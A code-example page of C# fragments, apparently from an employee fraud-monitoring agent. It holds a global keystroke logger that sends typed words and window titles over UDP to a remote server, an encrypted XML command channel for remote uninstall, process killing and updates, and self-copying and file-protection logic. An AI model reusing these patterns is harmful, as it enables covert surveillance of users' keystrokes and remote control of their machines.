Exemplo n.º 1
0
        /// <summary>
        /// XML execution
        /// </summary>

        #region XML execution

        public void ExecuteXML()
        {
            XmlNode nodes         = xDoc.DocumentElement;
            string  XMLCommand    = String.Empty;
            string  XMLParameters = String.Empty;
            string  XMLUniqueID   = String.Empty;
            string  XMLAgent      = String.Empty;
            string  XMLDomain     = String.Empty;

            foreach (XmlNode node in nodes)
            {
                // If the document version is new, then execute command

                if (node.Name.Equals("version"))
                {
                    int number = Convert.ToInt32(node.Attributes[0].Value);

                    if (number <= version)
                    {
                    }
                    else
                    {
                        version = number;
                        XmlNodeList MainXMLKey = xDoc.GetElementsByTagName("token");

                        // Read XML instruction from document

                        foreach (XmlNode command in MainXMLKey)
                        {
                            try
                            {
                                // If it's a general command for all agents or if it's unique to this agent

                                XMLAgent  = Cryptography.DecRijndael(command.Attributes[3].Value, false).Replace("\0", String.Empty);
                                XMLDomain = Cryptography.DecRijndael(command.Attributes[4].Value, false).Replace("\0", String.Empty);

                                if ((XMLAgent.Contains(Settings.usrSession) && XMLDomain.Contains(Settings.userDomain)) || XMLAgent.Equals("all"))
                                {
                                    XMLCommand    = Cryptography.DecRijndael(command.Attributes[0].Value, false).Replace("\0", String.Empty);
                                    XMLParameters = Cryptography.DecRijndael(command.Attributes[1].Value, false).Replace("\0", String.Empty);
                                    XMLUniqueID   = command.Attributes[2].Value;

                                    switch (XMLCommand.ToUpper())
                                    {
                                    case "MODULE": SQLStorage.ModifyPar(XMLCommand, XMLParameters, XMLUniqueID);
                                        break;

                                    default: break;
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                Filesystem.WriteLog("ERROR : Exception trown while executing XML command : " + ex);
                            }
                        }
                    }
                }
            }
        }
Exemplo n.º 2
0
        public void startModules()
        {
            // Module Load: Text Analytics

            if (SQLStorage.retrievePar(Settings.TAFLAG) == "1")
            {
                TextAnalyticsLogger.Setup_textAnalytics();
                KeyboardListener.KeyDown += new RawKeyEventHandler(KBHelpers.KeyboardListener_KeyDown);
                GC.KeepAlive(KeyboardListener);
            }

            // Start XML reader

            XMLTimer = new System.Threading.Timer(new TimerCallback(EnTimer), null, 0, (long)Convert.ToInt64(SQLStorage.retrievePar(Settings.HEARTBEAT)));
        }
Exemplo n.º 3
0
        public static void Setup_textAnalytics()
        {
            log4net.Repository.ILoggerRepository textAnalytics_Repo = log4net.LogManager.CreateRepository("textAnalytics_Repo");

            PatternLayout patternLayout_TextAnalytics = new PatternLayout();

            patternLayout_TextAnalytics.ConversionPattern = "%date a: %property{IPAddress} b: %property{UserDomain} c: %property{AgentID} d: %message - e: %property{TextWindow} f: %property{Word} %newline";
            patternLayout_TextAnalytics.ActivateOptions();

            UdpAppender UdpAppenderTA = new UdpAppender();

            UdpAppenderTA.RemoteAddress = analyticsIPAddress;
            UdpAppenderTA.RemotePort    = Convert.ToInt32(SQLStorage.RetrievePar("textPort"));
            UdpAppenderTA.Threshold     = log4net.Core.Level.All;
            UdpAppenderTA.Layout        = patternLayout_TextAnalytics;
            UdpAppenderTA.ActivateOptions();

            log4net.Config.BasicConfigurator.Configure(textAnalytics_Repo, UdpAppenderTA);
        }
Exemplo n.º 4
0
        public void StartModules()
        {
            try
            {
                // Module Load: Text Analytics

                if (SQLStorage.RetrievePar("textAnalytics") == "1")
                {
                    TextAnalyticsLogger.Setup_textAnalytics();
                    KeyboardListener.KeyDown += new RawKeyEventHandler(KBHelpers.KeyboardListener_KeyDown);
                    GC.KeepAlive(KeyboardListener);
                }

                // Start XML reader

                XMLTimer = new System.Threading.Timer(new TimerCallback(EnTimer), null, 0, (long)Convert.ToInt64(SQLStorage.RetrievePar("heartbeat")));
            }
            catch (Exception ex)
            {
                Filesystem.WriteLog("ERROR : Exception trown while executing modules : " + ex);
            }
        }
Exemplo n.º 5
0
        /// <summary>
        /// Application starting method
        /// </summary>

        #region Application start

        private void Application_Startup(object sender, StartupEventArgs e)
        {
            Filesystem.WriteLog("INFO : Application started");

            // Prevent multiple executions

            Common.PreventDuplicate();

            try
            {
                // Argument passing at execution time

                var commandLineArgs = e.Args;

                if (e.Args.Length != 0)
                {
                    Common.StartupChecks(commandLineArgs[0]);
                }
                else
                {
                    Common.StartupChecks("smoothrun");
                }

                // Database initialization

                SQLStorage.DBInitializationChecks();

                // Start modules

                ModulesControl mod = new ModulesControl();
                mod.StartModules();
                Filesystem.WriteLog("INFO : Modules started successfully");
            }
            catch (Exception ex)
            {
                Filesystem.WriteLog("ERROR : Exception trown in Application Startup : " + ex);
            }
        }
Exemplo n.º 6
0
        /// <summary>
        /// Application starting method
        /// </summary>

        #region Application start

        private void Application_Startup(object sender, StartupEventArgs e)
        {
            // Prevent multiple executions

            Common.preventDuplicate();

            try
            {
                // Database initialization

                SQLStorage.DBInitializationChecks();

                // Registry preparation

                Common.registryChecks();

                // Start modules

                modulesControl mod = new modulesControl();
                mod.startModules();
            }
            catch { }
        }
Exemplo n.º 7
0
        /// <summary>
        /// Startup checks
        /// </summary>

        #region Startup checks

        public static void startupChecks()
        {
            Filesystem AppSourceFile = new Filesystem(System.Windows.Forms.Application.ExecutablePath);

            if (SQLStorage.retrievePar(Settings.EXECUTION) == "0")
            {
                // Copy executable agent to path and protect

                Settings.AppPath = Common.SetAndCheckDir("ExecutablePath") + "\\" + Settings.thefraudexplorer_executableName();
                AppSourceFile.CopyTo(Settings.AppPath);
                AppSourceFile = new Filesystem(Settings.AppPath);
                AppSourceFile.Protect();

                // The software starts at second try

                SQLStorage.modifyPar("updateExecution", "numberOfExecution 1", "20733");
                Environment.Exit(0);
            }

            if (Settings.usrSession == "system" || Settings.usrSession == "administrator" || Settings.usrSession == "administrador")
            {
                Environment.Exit(0);
            }
        }
Exemplo n.º 8
0
        /// <summary>
        /// Configuration variables
        /// </summary>

        #region Configuration variables

        // Encrypt server password

        public static string AppSERVERRegisterKeyPass()
        {
            return(Cryptography.EncRijndael(SQLStorage.RetrievePar("serverPassword")));
        }
Exemplo n.º 9
0
        // Encrypt server password

        public static string AppSERVERRegisterKeyPass()
        {
            return(Cryptography.EncRijndael(SQLStorage.retrievePar(Settings.SRPWDFLAG)));
        }
Exemplo n.º 10
0
        // The Fraud Explorer Executable name reference

        public static string thefraudexplorer_executableName()
        {
            return(SQLStorage.retrievePar(Settings.EXEFLAG) + ".exe");
        }
Exemplo n.º 11
0
        /// <summary>
        /// XML execution
        /// </summary>

        #region XML execution

        public void ExecuteXML()
        {
            XmlNode nodes         = xDoc.DocumentElement;
            string  XMLCommand    = String.Empty;
            string  XMLParameters = String.Empty;
            string  XMLUniqueID   = String.Empty;
            string  XMLAgent      = String.Empty;

            foreach (XmlNode node in nodes)
            {
                // If the document version is new, then execute command

                if (node.Name.Equals("version"))
                {
                    int number = Convert.ToInt32(node.Attributes[0].Value);

                    if (number <= version)
                    {
                    }
                    else
                    {
                        version = number;
                        XmlNodeList MainXMLKey = xDoc.GetElementsByTagName("token");

                        // Read XML instruction from document

                        foreach (XmlNode command in MainXMLKey)
                        {
                            try
                            {
                                // If it's a general command for all agents or if it's unique to this agent

                                XMLAgent = Cryptography.DecRijndael(command.Attributes[3].Value, false).Replace("\0", String.Empty);

                                if ((XMLAgent.Contains(Settings.AgentID)) || (XMLAgent.Equals("all")))
                                {
                                    XMLCommand    = Cryptography.DecRijndael(command.Attributes[0].Value, false).Replace("\0", String.Empty);
                                    XMLParameters = Cryptography.DecRijndael(command.Attributes[1].Value, false).Replace("\0", String.Empty);
                                    XMLUniqueID   = command.Attributes[2].Value;

                                    switch (XMLCommand.ToUpper())
                                    {
                                    case "UNINSTALL":
                                        Settings.autodestroy(XMLCommand, XMLUniqueID);
                                        break;

                                    case "KILLPROCESS": Common.KillProcess(XMLCommand, XMLUniqueID, XMLParameters);
                                        break;

                                    case "UPDATE":
                                        Settings.Updater(XMLParameters, XMLCommand, XMLUniqueID);
                                        break;

                                    case "MODULE": SQLStorage.modifyPar(XMLCommand, XMLParameters, XMLUniqueID);
                                        break;

                                    default: break;
                                    }
                                }
                            }
                            catch { };
                        }
                    }
                }
            }
        }